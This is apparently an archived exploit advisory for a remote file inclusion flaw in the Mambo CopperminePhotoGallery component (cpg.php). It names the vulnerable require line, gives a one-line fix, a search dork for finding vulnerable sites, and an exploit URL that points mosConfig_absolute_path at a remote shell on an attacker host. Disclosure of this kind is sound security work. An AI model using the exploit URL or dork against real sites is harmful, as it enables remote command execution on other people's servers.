Mambo Component CopperminePhotoGalery - Remote File Inclusion

Author: k1tk4t
type: webapps
platform: php
port: 
date_added: 2006-08-15 
date_updated:  
verified: 1 
codes: OSVDB-27970;CVE-2006-4321 
tags: 
aliases:  
screenshot_url:  
application_url: 

###########  CopperminePhotoGallery Component ###########
Found By k1tk4t
Indonesia

  This bug allows a remote atacker to execute commands via RFI

file:
cpg.php

bug:
require ($mosConfig_absolute_path."/administrator/components/com_cpg/config.cpg.php");



path:
add in cpg.php
defined( '_VALID_MOS' ) or die( 'hacking attemp.' );

dork: inurl:com_cpg

expl:
htttp:/www.site.it/components/com_cpg/cpg.php?mosConfig_absolute_path=

http://evil.xxx/shell.txt?


thanks to

e-c-h-o
h4cky0u
milw0rm
google

# milw0rm.com [2006-08-16]